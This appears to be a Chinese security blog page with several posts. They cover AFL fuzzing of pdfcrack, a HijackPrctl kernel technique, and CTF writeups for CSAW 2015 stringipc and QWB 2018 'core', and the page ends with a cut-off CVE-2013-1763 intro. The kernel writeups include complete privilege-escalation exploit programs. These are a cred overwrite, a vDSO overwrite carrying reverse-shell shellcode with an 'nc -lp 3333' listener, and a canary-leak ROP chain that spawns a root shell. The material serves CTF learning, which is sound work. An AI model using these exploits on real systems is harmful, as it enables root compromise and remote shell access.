admin 发布的文章

使用afl-fuzz 发现pdfcrack漏洞(新手文章)

看这篇文章之前可以先阅读一下这篇文章 AFL漏洞挖掘技术漫谈(一):用AFL开始你的第一次Fuzzing

准备

  • afl-fuzz 2.5.2
  • pdfcrack source 0.16
  • ubuntu 18.04

编译

首先对pdfcrack source进行编译,编译的时候我们尽量采用afl自带的gcc进行编译,afl-gcc在编译时可以进行插桩,使用如下命令:

CC=afl-gcc make

此时pdfcrack已经可以使用了

kaka@kaka-virtual-machine:~/pdfcrack$ ./pdfcrack-0.16/pdfcrack 
Usage: ./pdfcrack-0.16/pdfcrack -f filename [OPTIONS]
OPTIONS:
-b, --bench        perform benchmark and exit
-c, --charset=STRING    Use the characters in STRING as charset
-w, --wordlist=FILE    Use FILE as source of passwords to try
-n, --minpw=INTEGER    Skip trying passwords shorter than this
-m, --maxpw=INTEGER    Stop when reaching this passwordlength
-l, --loadState=FILE    Continue from the state saved in FILENAME
-o, --owner        Work with the ownerpassword
-u, --user        Work with the userpassword (default)
-p, --password=STRING    Give userpassword to speed up breaking
            ownerpassword (implies -o)
-q, --quiet        Run quietly
-s, --permutate        Try permutating the passwords (currently only
            supports switching first character to uppercase)
-v, --version        Print version and exit

该软件可以对已加密的pdf进行破解密码

afl自带的testcase里面也已经自带了pdf样本

/testcases/others/pdf/small.pdf

先用pdfcrack测试一下这个样本,发现报错了

kaka@kaka-virtual-machine:~/pdfcrack$ ./pdfcrack-0.16/pdfcrack /home/kaka/afl-2.52b/testcases/others/pdf/small.pdf
Error: Encryption not detected (is the document password protected?)

报错提示我们这是一个没有密码保护的pdf文件,我们可以通过一些在线的pdf加密的网站对该文件进行加密。

准备fuzz

首先建立两个文件夹---输入,输出文件夹,我这里命名为in,out
此时的目录结构

kaka@kaka-virtual-machine:~/pdfcrack$ ls -l
total 28
drwxrwxr-x 2 kaka kaka 4096 12月 29 10:27 in
drwxrwxr-x 5 kaka kaka 4096 12月 29 10:34 out
drwxrwxr-x 5 kaka kaka 4096 12月 29 10:34 out1
drwxr-xr-x 4 kaka root 4096 12月 28 16:54 pdfcrack-0.16
-rw------- 1 kaka kaka 1274 12月 28 19:06 p.pdf

(多出来的out1是我做其他测试用的,p.pdf是已经有密码保护的pdf文件)

在这里我直接对程序进行fuzz,发现过了好久都没有发生崩溃,再回顾一下上面程序所展示的一些功能,这个参数引起了注意

-l, --loadState=FILE    Continue from the state saved in FILENAME

意思差不多是如果一次恢复密码没有完成的话,可能会产生一个中间文件,下次可以直接load这个文件,继续上次的任务。

这样我们先测试一下,需要注意的是,在对pdf文件进行加密的时候,尽量密码选择的稍微复杂一点,要不然在破解密码的时候,还没来得及按CTRL+c,就已经破解完了。

kaka@kaka-virtual-machine:~/pdfcrack$ ./pdfcrack-0.16/pdfcrack p.pdf 

PDF version 1.6
Security Handler: Standard
V: 2
R: 3
P: -4
Length: 128
Encrypted Metadata: True
FileID: bf009c4d37b7fbbf18a17a2e0ab6e4ba
U: 534a8f91a56dbccdce2886f6ab041f5f28bf4e5e4e758a4164004e56fffa0108
O: 09bb0b88f5eeb18f87b82246a416c481a0877462a4cb401676f49569404c7a0a

程序在这个状态停留了一会,我们可以选择在此时,停止破解

U: 534a8f91a56dbccdce2886f6ab041f5f28bf4e5e4e758a4164004e56fffa0108
O: 09bb0b88f5eeb18f87b82246a416c481a0877462a4cb401676f49569404c7a0a
^CCaught signal 2!
Trying to save state...
Successfully saved state to savedstate.sav!
kaka@kaka-virtual-machine:~/pdfcrack$ ls -l
total 28
drwxrwxr-x 2 kaka kaka 4096 12月 29 10:27 in
drwxrwxr-x 5 kaka kaka 4096 12月 29 10:44 out
drwxrwxr-x 5 kaka kaka 4096 12月 29 10:44 out1
drwxr-xr-x 4 kaka root 4096 12月 28 16:54 pdfcrack-0.16
-rw------- 1 kaka kaka 1274 12月 28 19:06 p.pdf
-rw-rw-r-- 1 kaka kaka  583 12月 29 10:44 savedstate.sav

程序自动生成了一个.sav文件,可以在当前目录下看到

然后使用 -l 参数确实可以继续破解

我们把这个sav文件放到in/文件夹内,使用下面的命令就可以开始fuzz了

在此之前先执行

echo core >/proc/sys/kernel/core_pattern
afl-fuzz -i in/ -o out/  ./pdfcrack-0.16/pdfcrack -l @@

但是又出现了

[-] PROGRAM ABORT : Test case 'id:000000,orig:s1.sav' results in a timeout
         Location : perform_dry_run(), afl-fuzz.c:2777

推测程序执行可能超时了,再加上 -t 参数

afl-fuzz -i in/ -o out/ -t 5000  ./pdfcrack-0.16/pdfcrack -l @@

这样就可以正常执行了

alt

关于cpu占用率:因为afl只占用一个cpu逻辑内核,所以不会占用太高,因此可以开多个afl进行并行测试。

等一会就会发现崩溃了

崩溃的文件会存放在out/crash/文件夹中

分析

取一个文件重命名为test,作为例子进行简略分析

kaka@kaka-virtual-machine:~/pdfcrack$ cp out/crashes/id\:000000\,sig\:11\,src\:000000\,op\:flip1\,pos\:12 test
kaka@kaka-virtual-machine:~/pdfcrack$ ./pdfcrack-0.16/pdfcrack -l test 
Loaded state for test
PDF version 1.6
Security Handler: dard
O: 
V: 2
R: 7
P: -4
Length: 128
Encrypted Metadata: True
FileID: bf009c4d37b7fbbf18a17a2e0ab6e4ba
U: 534a8f91a56dbccdce2886f6ab041f5f28bf4e5e4e758a4164004e56fffa0108
O: 09bb0b88f5eeb18f87b82246a416c481a0877462a4cb401676f49569404c7a0a
Segmentation fault

确实出现了段错误

利用gdb分析

pwndbg> bt
#0  0x0000000000000000 in ?? ()
#1  0x000000000040ff99 in runCrackRev3 () at pdfcrack.c:418
#2  0x0000000000412945 in runCrack () at pdfcrack.c:556
#3  0x0000000000402505 in main (argc=argc@entry=3, argv=argv@entry=0x7fffffffde08) at main.c:309
#4  0x00007ffff7a2d830 in __libc_start_main (main=0x4012f0 <main>, argc=3, argv=0x7fffffffde08, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffddf8) at ../csu/libc-start.c:291
#5  0x00000000004030e9 in _start ()

通过bt发现访问到一个空指针

In file: /home/kaka/pdfcrack/pdfcrack-0.16/md5.c
   328   else
   329     md5_50_variant = &md5_50s;
   330 }
   331 
   332 void
 ► 333 md5_50(uint8_t *msg, const unsigned int msgLen) {
   334   md5_50_variant(msg, msgLen);
   335 }
─────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffda58 —▸ 0x40ff99 (runCrackRev3+313) ◂— mov    rcx, qword ptr [rip + 0x2164f8]
01:0008│      0x7fffffffda60 —▸ 0x6282c0 ◂— 0xbffbb7374d9c00bf
02:0010│      0x7fffffffda68 ◂— 0x0
03:0018│ rdi  0x7fffffffda70 ◂— 0x955d1951d4792cb7
04:0020│      0x7fffffffda78 ◂— 0x36a3a3da42528292
05:0028│      0x7fffffffda80 ◂— 0x2
06:0030│      0x7fffffffda88 ◂— 0x0
... ↓
───────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────
 ► f 0           40ab5a md5_50+58
   f 1           40ff99 runCrackRev3+313
   f 2           412945 runCrack+309
   f 3           402505 main+4629
   f 4     7ffff7a2d830 __libc_start_main+240
pwndbg> p md5_50_variant 
$1 = (void (*)()) 0x0
pwndbg> hexdump $rip+0x21b8e0
+0000 0x62643a  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │....│....│....│....│
...
+0020 0x62645a  00 00 00 00  00 00 01 00  00 00 00 00  00 00 00 00  │....│....│....│....│
+0030 0x62646a  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │....│....│....│....│

程序在jmp的时候访问到了一个空指针导致程序崩溃。

结合源码可知,此处应该调用md5_50_variant函数,但是该函数指针为0导致出现段错误

相关链接:http://tudr.thapar.edu:8080/jspui/bitstream/10266/4500/4/4500.pdf

HijackPrctl 技术分析&&solid_core&&stringipc

0x1 原理

先写一个简单的prctl函数调用的程序,跟踪一下prctl调用流程

#include <stdio.h> 
#include <sys/prctl.h>

int main(){
    prctl(PR_SET_NAME,"TRACE_PRCTL");
    puts("ok");
    return 0;
}

使用gdb 在security_task_prctl函数处断下来

linux kernel 4.4.10 /security/security.c

int security_task_prctl(int option, unsigned long arg2, unsigned long arg3,
             unsigned long arg4, unsigned long arg5)
{
    int thisrc;
    int rc = -ENOSYS;
    struct security_hook_list *hp;

    list_for_each_entry(hp, &security_hook_heads.task_prctl, list) {
        thisrc = hp->hook.task_prctl(option, arg2, arg3, arg4, arg5);
        if (thisrc != -ENOSYS) {
            rc = thisrc;
            if (thisrc != 0)
                break;
        }
    }
    return rc;
}

发现security_task_prctl 最终调用的 hp->hook.task_prctl

在汇编里面可以看到 使用 call QWORD PTR [rbx+0x18]

因此可以通过修改这个值,实现任意函数(6个参数以内)调用,但是还存在一个问题,第一个参数option的类型是int型

因此当我们传入一个64位的值,这个参数就不能用了(smap禁止访问用户空间数据),但是在32位下是没问题的。

32位下利用流程:借鉴看雪以为师傅文章中的思路(基于覆盖vdso的变形):

  • 劫持hp->hook.task_prctl,将其修改为set_memory_rw函数地址。
  • 获得vdso映射地址
  • 调用prctl,修改vdso映射区权限
  • 向vdso写入shellcode
  • 高权限进程调用

64位?call_usermodehelper函数

call_usermodehelper函数是内核运行用户程序的一个api,并且该程序有root的权限(关于这个函数具体的用法我也说不清楚了,自行谷歌吧),但是将task_prctl函数地址修改为call_usermodehelper也是不可行的,因此call_usermoderhelper第一个参数也是64位的,而且要求是完整路径比如("/bin/sh"),但是内核里面有几处函数,调用了这个函数,可以直接用的就是这个函数run_cmd

static int run_cmd(const char *cmd)
{
    char **argv;
    static char *envp[] = {
        "HOME=/",
        "PATH=/sbin:/bin:/usr/sbin:/usr/bin",
        NULL
    };
    int ret;
    argv = argv_split(GFP_KERNEL, cmd, NULL);
    if (argv) {
        ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
        argv_free(argv);
    } else {
        ret = -ENOMEM;
    }

    return ret;
}

内核中引用run_cmd的函数,可以发现poweroff_cmd跟reboot_cmd定义的方法是不一样的,poweroff_cmd是可以被修改的

char poweroff_cmd[POWEROFF_CMD_PATH_LEN] = "/sbin/poweroff";
static const char reboot_cmd[] = "/sbin/reboot";

static int run_cmd(const char *cmd)
{
    char **argv;
    static char *envp[] = {
        "HOME=/",
        "PATH=/sbin:/bin:/usr/sbin:/usr/bin",
        NULL
    };
    int ret;
    argv = argv_split(GFP_KERNEL, cmd, NULL);
    if (argv) {
        ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
        argv_free(argv);
    } else {
        ret = -ENOMEM;
    }

    return ret;
}

static int __orderly_reboot(void)
{
    int ret;

    ret = run_cmd(reboot_cmd);

    if (ret) {
        pr_warn("Failed to start orderly reboot: forcing the issue\n");
        emergency_sync();
        kernel_restart(NULL);
    }

    return ret;
}

static int __orderly_poweroff(bool force)
{
    int ret;

    ret = run_cmd(poweroff_cmd);

    if (ret && force) {
        pr_warn("Failed to start orderly shutdown: forcing the issue\n");

        /*
         * I guess this should try to kick off some daemon to sync and
         * poweroff asap.  Or not even bother syncing if we're doing an
         * emergency shutdown?
         */
        emergency_sync();
        kernel_power_off();
    }

    return ret;
}

64位利用流程

  • 任意写(局部任意写)
  • 找到vdso地址,计算内核基地址
  • 修改poweroff_cmd为自己的命令
  • 修改task_prctl为orderly_poweroff地址
  • 调用prctl函数

stringipc

stringipc这个题目是任意地址读,上一篇文章也已经分析了,因此也可以采用这种方法。

task_prctl函数偏移

csaw-2015-stringipc 从任意读到权限提升

不知道为啥在分析这个题的时候,ida在反汇编时伪c出现大量错误。
这个题是学习linux kernel 从任意读到权限提升一个很好的例子,本文一共介绍三种方式
本文只提供方法,具体的exp还是要根据不同的内核版本来写,比如在写vdso gettimeofday的时候,不同版本的内核,函数的偏移可能不同.

checksec

kaka@kaka-virtual-machine:~/kernelpwn/stringipc/core$ checksec stringipc.ko 
[*] '/home/kaka/kernelpwn/stringipc/core/stringipc.ko'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x0)

在start.sh中还可以发现开启了smep,smap。

漏洞分析

(ida反编译有错,已在注释中改正)漏洞出现在v9 = krealloc(result->data, v8 + 1, 37748928LL)这个地方,当krealloc返回不为0时,会重新更改chennel结构的一些值。
krealloc的定义

void *krealloc(const void *p, size_t new_size, gfp_t flags)
{
    void *ret;

    if (unlikely(!new_size)) {
        kfree(p);
        return ZERO_SIZE_PTR;
    }

    ret = __do_krealloc(p, new_size, flags);
    if (ret && p != ret)
        kfree(p);

    return ret;
}
EXPORT_SYMBOL(krealloc);

可知,当new_size不为0时,会返回ZERO_SIZE_PTR
#define ZERO_SIZE_PTR ((void *)16)
也就意味着,当我们传入的new_size=0时,会返回0x10,因此会更新channel结构的data,buf_size字段。当new_size=v8+1=0时,v8=-1,因为v8是size_t类型(unsigned long long),因此v8的值是0xffffffffffffffff,这个值作为了新的buf_size.因此对于这个buf具有了任意地址读写的能力。

利用分析

修改cred结构体

通过修改cred结构体是在提权中的惯用套路,但是如何确定cred的位置?p4nda师傅的博客里介绍了一种方法,重温一下task_struct结构(部分代码)

struct task_struct{
/* process credentials */
    const struct cred __rcu *ptracer_cred; /* Tracer's credentials at attach */
    const struct cred __rcu *real_cred; /* objective and real subjective task
                     * credentials (COW) */
    const struct cred __rcu *cred;    /* effective (overridable) subjective task
                     * credentials (COW) */
    char comm[TASK_COMM_LEN]; /* executable name excluding path
                     - access with [gs]et_task_comm (which lock
                       it with task_lock())
                     - initialized normally by setup_new_exec */
}

comm[TASK_COMM_LEN],由注释名字可以知道,它包含了进程的名字,大小为16,可以在内存中搜索这段字符串的位置来计算cred的地址,prctl函数中的PR_SET_NAME功能可以用来设置进程的名字,因此可以设置comm[TASK_COMM_LEN],因此设为一个特定值,然后再内存中搜索这个字符串,但是如此大的内存空间完全遍历可能需要耗费大量时间,因为task_struct是通过kmem_cache_alloc_node获取的,根据内存映射图可知,爆破范围应该在0xffff880000000000~0xffffc80000000000
linux内核 64位 X86_64 地址空间

exp
#include <stdio.h>
#include <sys/prctl.h>       
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdlib.h>

#define CSAW_ALLOC_CHANNEL 0x77617364
#define CSAW_SHRINK_CHANNEL 0x77617367
#define CSAW_SEEK_CHANNEL 0x7761736a
#define CSAW_READ_CHANNEL 0x77617368
#define CSAW_WRITE_CHANNEL 0x77617369

struct alloc_channel_args {
    size_t buf_size;
    int id;
};

struct open_channel_args {
    int id;
};

struct shrink_channel_args {
    int id;
    size_t size;
};

struct read_channel_args {
    int id;
    char *buf;
    size_t count;
};

struct write_channel_args {
    int id;
    char *buf;
    size_t count;
};

struct seek_channel_args {
    int id;
    loff_t index;
    int whence;
};

struct close_channel_args {
    int id;
};

int main(){
    setvbuf(stdout, 0LL, 2, 0LL);
    char target[16] ;
    strcpy(target,"brute_for_cred!");
    prctl(PR_SET_NAME,target);
    char name[16];
    prctl(PR_GET_NAME,(unsigned long)name);
    printf("[*] name %s\n",name);
    struct alloc_channel_args alloc_args;
      struct shrink_channel_args shrink_args;
      struct seek_channel_args seek_args;
      struct read_channel_args read_args;
      struct close_channel_args close_args;
      struct write_channel_args write_args;
    int fd = -1;
    fd = open("/dev/csaw",O_RDWR);
    if(fd < 0){
      puts("open csaw error!");
      exit(-1);
    }

    alloc_args.buf_size = 0x100;
    alloc_args.id = -1;
    ioctl(fd,CSAW_ALLOC_CHANNEL,&alloc_args);
    printf("[*] alloc channel id %d\n",alloc_args.id);
    shrink_args.id = alloc_args.id;
    shrink_args.size = 0x100 + 1;
    ioctl(fd,CSAW_SHRINK_CHANNEL,&shrink_args);
    puts("[*] any read/write");
    char *buf = malloc(0x1000);
    size_t addr = 0xffff880000000000;
    size_t res = 0;
    size_t cred = 0;
    size_t real_cred = 0;
    size_t target_addr = 0;
    
    for(;addr<0xffffc80000000000;addr+=0x1000){
      seek_args.id =  alloc_args.id;
          seek_args.index = addr-0x10 ;
          seek_args.whence= SEEK_SET;
          ioctl(fd,CSAW_SEEK_CHANNEL,&seek_args);
          read_args.id = alloc_args.id;
          read_args.buf = buf;
          read_args.count = 0x1000;
          ioctl(fd,CSAW_READ_CHANNEL,&read_args);
      res = memmem(buf,0x1000,target,16);
      if(res){
        printf("[*] res : 0x%lx\n",res);
        printf("[*] addr : 0x%lx\n",addr);
        cred = *(size_t*)(res-0x8);
        printf("[*] cred 0x%lx\n",cred);
        break;
      }
    }
    
    if(res == 0){
      puts("cann't find target!");
      exit(-1);
    }
    int i = 0;
    char tmp_cred = '\x00';
    puts("ready edit cred");
    for(i=0;i<44;++i){
      seek_args.id = alloc_args.id;
      seek_args.index = cred- 0x10 + 4 + i;
      seek_args.whence = SEEK_SET;
      ioctl(fd,CSAW_SEEK_CHANNEL,&seek_args);
      write_args.id = alloc_args.id;
      write_args.count = 1;
      write_args.buf = &tmp_cred;
      ioctl(fd,CSAW_WRITE_CHANNEL,&write_args);
    }
    if(getuid() == 0){
      puts("gets root shell");
      system("/bin/sh");
    }
    else{
      puts("cred edit false!");
    }
    return 0;
}

覆盖vDSO

linux 下的 vDSO

VDSO(Virtual Dynamically-linked Shared Object), 它将内核态的调用映射到用户态的地址空间中,它不存在于磁盘上,而是在内核代码里面,内核会在程序启动的时候将对应包含*-vdso.so的页面直接映射到用户态下的进程内存中,以减少部分系统调用开销,内核态的vDSO段地址权限为RW,用户空间的vDSO段权限为RX,因此,如果能在内核态修改vDSO段代码,就可以在用户态直接执行,假如我们将其修改为commit_creds(prepare_kernel_cred(0));就可以实现提权.

vdso.so 函数

vDSO在哪?

vDSO的位置我们是不确定的,但是可以通过爆破的方式获取,首先vdso.so可以视为一个elf文件(毕竟是.so文件),在内存中也是页对齐的,通过getconf PAGE_SIZE可以确定页大小,一般是4096(4k),我们可以通过一页的开始部分确定是不是elf文件,再通过一段偏移处的代码确定是不是vdso。

利用分析

通过任意写,修改内核空间的vdso,通过高权限进程调用vdso内函数,实现反弹shell(环境采用的p4nda师傅的,通过在利用root权限不断执行gettimeofday函数)

exploit
#include <stdio.h>
#include <sys/prctl.h>       
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <sys/auxv.h> 
#include <stdlib.h>

#define CSAW_IOCTL_BASE     0x77617363
#define CSAW_ALLOC_CHANNEL  CSAW_IOCTL_BASE+1
#define CSAW_OPEN_CHANNEL   CSAW_IOCTL_BASE+2
#define CSAW_GROW_CHANNEL   CSAW_IOCTL_BASE+3
#define CSAW_SHRINK_CHANNEL CSAW_IOCTL_BASE+4
#define CSAW_READ_CHANNEL   CSAW_IOCTL_BASE+5
#define CSAW_WRITE_CHANNEL  CSAW_IOCTL_BASE+6
#define CSAW_SEEK_CHANNEL   CSAW_IOCTL_BASE+7
#define CSAW_CLOSE_CHANNEL  CSAW_IOCTL_BASE+8

struct alloc_channel_args {
    size_t buf_size;
    int id;
}alloc_args;

struct open_channel_args {
    int id;
};

struct shrink_channel_args {
    int id;
    size_t size;
}shrink_args;

struct read_channel_args {
    int id;
    char *buf;
    size_t count;
}read_args;

struct write_channel_args {
    int id;
    char *buf;
    size_t count;
}write_args;

struct seek_channel_args {
    int id;
    loff_t index;
    int whence;
}seek_args;

struct close_channel_args {
    int id;
};

void dump_vdso(char **addr){
    int i;
    for(i=1;i<0x501;++i){
        if(i%16 != 0){
            printf("%02x ",*(unsigned char*)(*addr + i));
        }
        else{
            printf("%02x\n",*(unsigned char*)(*addr + i));
        }
    }
}

int check_vsdo_shellcode(char *sc){
    size_t addr=0;
    addr = getauxval(AT_SYSINFO_EHDR);
    printf("vdso:%lx\n", addr);
    if(addr<0){
        puts("[-]cannot get vdso addr");
        return 0;
    }    
    if (memmem((char *)addr,0x1000,sc,strlen(sc) )){
        return 1;
    }
    return 0;
}

int main(){
    int fd;
    fd = open("/dev/csaw",O_RDWR);
    if (fd < 0){
        puts("open error!");
    }
    alloc_args.id = 0;
    alloc_args.buf_size = 0x10;
    ioctl(fd,CSAW_ALLOC_CHANNEL,&alloc_args);
    int id;
    id = alloc_args.id;
    printf("[*] alloc channel id %d\n",id);
    shrink_args.id = id;
    shrink_args.size = 0x10 + 1;
    ioctl(fd,CSAW_SHRINK_CHANNEL,&shrink_args);
    puts("[*] any read/write");
    size_t addr = 0xffffffff80000000;
    char *buf = malloc(0x1000);
    size_t res = 0;
    char *vdso_head = "\x7f\x45\x4c\x46\x02\x01\x01";
    int head_size;
    head_size = sizeof(*vdso_head);
    for(;addr<0xffffffffffffefff;addr+=0x1000){
        seek_args.id = id;
        seek_args.index = addr - 0x10;
        seek_args.whence = SEEK_SET;
        ioctl(fd,CSAW_SEEK_CHANNEL,&seek_args);
        read_args.id = id;
        read_args.buf = buf;
        read_args.count = 0x1000;
        ioctl(fd,CSAW_READ_CHANNEL,&read_args);
        if(!strncmp(buf,vdso_head,head_size)){
            if(!strncmp((buf + 0x2cd),"gettimeofday",12)){
                printf("[*] find vDSO address 0x%lx\n",addr);
                res = addr;
                dump_vdso(&buf);
                printf("[*] res 0x%lx\n",res);
                break;
            }
        }
    }
    if(!res){
        puts("[*] can't find vDSO ");
        exit(-1);
    }
       char sc[] = "\x90\x53\x48\x31\xC0\xB0\x66\x0F\x05\x48\x31\xDB\x48\x39\xC3\x75\x0F\x48\x31\xC0\xB0\x39\x0F\x05\x48\x31\xDB\x48\x39\xD8\x74\x09\x5B\x48\x31\xC0\xB0\x60\x0F\x05\xC3\x48\x31\xD2\x6A\x01\x5E\x6A\x02\x5F\x6A\x29\x58\x0F\x05\x48\x97\x50\x48\xB9\xFD\xFF\xF2\xFA\x80\xFF\xFF\xFE\x48\xF7\xD1\x51\x48\x89\xE6\x6A\x10\x5A\x6A\x2A\x58\x0F\x05\x48\x31\xDB\x48\x39\xD8\x74\x07\x48\x31\xC0\xB0\xE7\x0F\x05\x90\x6A\x03\x5E\x6A\x21\x58\x48\xFF\xCE\x0F\x05\x75\xF6\x48\x31\xC0\x50\x48\xBB\xD0\x9D\x96\x91\xD0\x8C\x97\xFF\x48\xF7\xD3\x53\x48\x89\xE7\x50\x57\x48\x89\xE6\x48\x31\xD2\xB0\x3B\x0F\x05\x48\x31\xC0\xB0\xE7\x0F\x05";
    seek_args.id = id;
    seek_args.index = res - 0x10 + 0xc80;
    seek_args.whence = SEEK_SET;
    ioctl(fd,CSAW_SEEK_CHANNEL,&seek_args);
    write_args.id = id;
    write_args.buf = sc;
    write_args.count = sizeof(sc);
    ioctl(fd,CSAW_WRITE_CHANNEL,&write_args);
    puts("[*] ready to write shellcode to vDSO");
    if(check_vsdo_shellcode(sc) == 1){
        puts("[*] shellcode is writen into vDSO");
        system("nc -lp 3333");
    }
    else{
        puts("something wrong");
    }
    return 0;
}

利用prctl函数

放在solid_core里面

2018 强网杯 core writeup

在学习 linux kernel exploit 技术以后在越来越觉得C语言指针的重要性,因为指针的问题,以至于这个exp我断断续续的写了接近一周。

保护分析

kaka@kaka-virtual-machine:~/kernelpwn/core/core$ checksec core.ko 
[*] '/home/kaka/kernelpwn/core/core/core.ko'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x0)
kaka@kaka-virtual-machine:~/kernelpwn/core/core$ checksec vmlinux 
[*] '/home/kaka/kernelpwn/core/core/vmlinux'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      No PIE (0xffffffff81000000)
    RWX:      Has RWX segments

驱动文件存在canary,vmlinux的基址可以通过偏移计算其他函数/gadgets地址。并且在init文件中可以发现拷贝了一份kallsyms到tmp文件夹中,并且所有用户可读,因此可以泄露一些函数地址。

core.ko 驱动分析

core_ioctl 函数

__int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3)
{
  __int64 v3; // rbx

  v3 = a3;
  switch ( a2 )
  {
    case 0x6677889B:
      core_read(a3);
      break;
    case 0x6677889C:
      printk(&unk_2CD);
      off = v3;
      break;
    case 0x6677889A:
      printk(&unk_2B3);
      core_copy_func(v3);
      break;
  }
  return 0LL;
}

根据第二个参数使用不同的功能。

core_read 函数

unsigned __int64 __fastcall core_read(__int64 a1)
{
  __int64 v1; // rbx
  __int64 *v2; // rdi
  signed __int64 i; // rcx
  unsigned __int64 result; // rax
  __int64 v5; // [rsp+0h] [rbp-50h]
  unsigned __int64 v6; // [rsp+40h] [rbp-10h]

  v1 = a1;
  v6 = __readgsqword(0x28u);
  printk(&unk_25B);
  printk(&unk_275);
  v2 = &v5;
  for ( i = 16LL; i; --i )
  {
    *(_DWORD *)v2 = 0;
    v2 = (__int64 *)((char *)v2 + 4);
  }
  strcpy((char *)&v5, "Welcome to the QWB CTF challenge.\n");
  result = copy_to_user(v1, (char *)&v5 + off, 64LL);
  if ( !result )
    return __readgsqword(0x28u) ^ v6;
  __asm { swapgs }
  return result;
}

copy_to_user 函数向userspace传递64字节数据,v5的地址处于函数栈顶,根据off参数设置新的偏移(地址),off参数可以通过ioctl设置,可以利用这个功能leak canary。

core_write 函数

signed __int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3)
{
  unsigned __int64 v3; // rbx

  v3 = a3;
  printk(&unk_215);
  if ( v3 <= 0x800 && !copy_from_user(&name, a2, v3) )
    return (unsigned int)v3;
  printk(&unk_230);
  return 4294967282LL;
}

通过copy_from_user函数向一个全局变量地址写入不超过0x800字节的数据

core_copy_func 函数

signed __int64 __fastcall core_copy_func(signed __int64 a1)
{
  signed __int64 result; // rax
  __int64 v2; // [rsp+0h] [rbp-50h]
  unsigned __int64 v3; // [rsp+40h] [rbp-10h]

  v3 = __readgsqword(0x28u);
  printk(&unk_215);
  if ( a1 > 63 )
  {
    printk(&unk_2A1);
    result = 0xFFFFFFFFLL;
  }
  else
  {
    result = 0LL;
    qmemcpy(&v2, &name, (unsigned __int16)a1);
  }
  return result;
}

先对传入的a1(即读入数据的字节数)进行判断,如果大于 63 ,直接 return,但是没有对a1的正负做判断,

这里面将a1将之转换为 unsigned _int16 类型。因此如果我们传入一个负值(高位为1)时,就可以绕过。导致溢出。

利用分析

  • 首先需要leak canary,通过set off的值大于8即可,当set off的值为0x40时,leak的前八个字节就是canary。
  • 通过qemu的启动脚本可知,并没有开启smep,smap保护,可以直接在返回的的时候指向用户空间的代码,因此可以使用
    commit_creds(prepare_kernel_cred(0))得到root权限。
  • 64位系统 从内核空间->用户空间,需要执行两条指令swapgs;iretq;

swapgs指令通过用一个MSR中的值交换GS寄存器的内容。在进入内核空间例行程序(例如系统调用)时会执行swapgs指令以获取指向内核数据结构的指针,因此在返回用户空间之前需要一个匹配的swapgs。

rop

首先在core_read函数下一个断点,可以在$rsp+0x40处找到canary,在$rsp+0x50处发现一个驱动函数地址,可以根据这个地址找到gadgets对应的地址。

在core_copy_func函数ret指令处下一个断点

根据返回地址可以判断即将要执行用户空间提权代码,且返回地址位swapgs指令地址。

exploit

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>

#define COMMAND_READ 0x6677889B
#define COMMAND_PRINT 0x6677889C
#define COMMAND_COPY 0x6677889A

unsigned long user_cs,user_ss,user_rflags;
unsigned long long commit_creds = 0;
unsigned long long prepare_kernel_cred = 0;

static void save_state()
{
    asm(
        "movq %%cs, %0\n"
        "movq %%ss, %1\n"
        "pushfq\n"
        "popq %2\n"
        : "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags)
        :
        : "memory");
}

void get_root()
{
    char * (* pkc)(int) = prepare_kernel_cred;
    void (* cc)(char *) = commit_creds;
    (* cc)((* pkc)(0));
}

void getshell()
{
    system("/bin/sh");
}

unsigned long get_symbol(char *name)
{
    FILE *f;
    unsigned long addr;
    char dummy, sym[512];
    int ret = 0;
 
    f = fopen("/tmp/kallsyms", "r");
    if (!f) {
    return 0;
    }
 
    while (ret != EOF) {
    ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sym);
    if (ret == 0) {
        fscanf(f, "%s\n", sym);
        continue;
    }
    if (!strcmp(name, sym)) {
        printf("[+] resolved symbol %s to %p\n", name, (void *) addr);
        fclose(f);
        return addr;
    }
    }
    fclose(f);
 
    return 0;
}

int main(int argc,char ** argv)
{
    commit_creds = get_symbol("commit_creds");
    prepare_kernel_cred = get_symbol("prepare_kernel_cred");
    char fake_stack[0x100];
    char * leak = (char *)malloc(1024);
    int fd = open("/proc/core",O_RDWR);

    ioctl(fd,COMMAND_PRINT,0x40);
    ioctl(fd,COMMAND_READ,leak);
    unsigned long long canary = ((unsigned long long *)leak)[0];
    printf("[*] canary : 0x%llx\n",canary);
    unsigned long long ret_addr = ((unsigned long long *)leak)[2];
    unsigned long long iret_addr = prepare_kernel_cred - 0x4c21e;
    save_state();
    unsigned long long payload[]={
    0x9090909090909090,
    0x9090909090909090,
    0x9090909090909090,
    0x9090909090909090,
    0x9090909090909090,
    0x9090909090909090,
    0x9090909090909090,
    0x9090909090909090,
    canary,
    0x9090909090909090,
    &get_root,
    ret_addr - 0xc5,
    &fake_stack - 0x100,
    iret_addr,
    &getshell,
    user_cs,
    user_rflags,
    &fake_stack - 0x100,
    user_ss
    };
    write(fd,payload,sizeof(payload));
    ioctl(fd,COMMAND_COPY,0xf0000000000000b0);

    return 0;
}

cve-2013-1763 数组越界漏洞分析

“云分析”,实际调试出现问题,过一段时间再弄。。。
初次接触内核漏洞分析,如有错误还请指正。本文所有代码均来自linux kernel 3.3.3

影响范围linux kernel 3.3.3-3.3.8

原因

